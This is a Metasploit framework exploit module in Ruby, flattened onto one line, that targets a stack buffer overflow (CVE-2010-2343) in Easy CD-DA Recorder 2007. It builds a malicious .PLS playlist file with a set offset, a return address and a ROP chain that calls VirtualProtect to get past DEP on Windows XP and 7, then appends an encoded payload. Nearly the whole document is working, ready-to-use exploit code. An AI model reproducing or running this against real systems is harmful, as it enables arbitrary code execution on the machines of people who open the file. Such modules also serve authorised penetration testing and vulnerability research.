## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in Easy CD-DA Recorder 2007, caused by a long string in a playlist entry. By persuading the victim to open a specially-crafted .PLS file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'chap0', # Vulnerability discovery and original exploit 'Gabor Seljan', # Metasploit module 'juan vazquez' # Improved reliability ], 'References' => [ [ 'BID', '40631' ], [ 'EDB', '13761' ], [ 'OSVDB', '65256' ], [ 'CVE', '2010-2343' ], [ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload' => { 'DisableNops' => true, 'BadChars' => "\x0a\x3d", 'Space' => 2454, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # ADD ESP,-3500 }, 'Targets' => [ [ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)', # easycdda.exe 3.0.114.0 # audconv.dll 7.0.815.0 { 'Offset' => 1108, 'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll] } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 7 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']) ], self.class) end def nops return make_nops(4).unpack("V").first end def rop_nops(n = 1) # RETN (ROP NOP) [audconv.dll] [0x1003d55d].pack('V') * n end def exploit # ROP chain generated by mona.py - See corelan.be rop_gadgets = [ 0x1007261e, # POP EDX # RETN [audconv.dll] 0x0042a0e0, # &VirtualProtect() [IAT easycdda.exe] 0x1003bd6b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll] 0x10035802, # XCHG EAX,ESI # RETN [audconv.dll] 0x1005d288, # POP EBP # RETN [audconv.dll] 0x004030c8, # &PUSH ESP # RET 0x08 [easycdda.exe] 0x1005cc2d, # POP EBX # RETN [audconv.dll] 0x00000996, # 0x00000996-> EBX 0x1008740c, # POP EDX # RETN [audconv.dll] 0x00000040, # 0x00000040-> EDX 0x1001826d, # POP ECX # RETN [audconv.dll] 0x004364c6, # &Writable location [easycdda.exe] 0x00404aa9, # POP EDI # RETN [easycdda.exe] 0x100378e6, # RETN (ROP NOP) [audconv.dll] 0x0042527d, # POP EAX # RETN [easycdda.exe] nops, 0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe] ].flatten.pack('V*') sploit = rop_nops(target['Offset'] / 4) sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll] sploit << [target.ret].pack("V") sploit << rop_nops(22) sploit << rop_gadgets sploit << payload.encoded sploit << rand_text_alpha_upper(10000) # Generate exception # Create the file print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end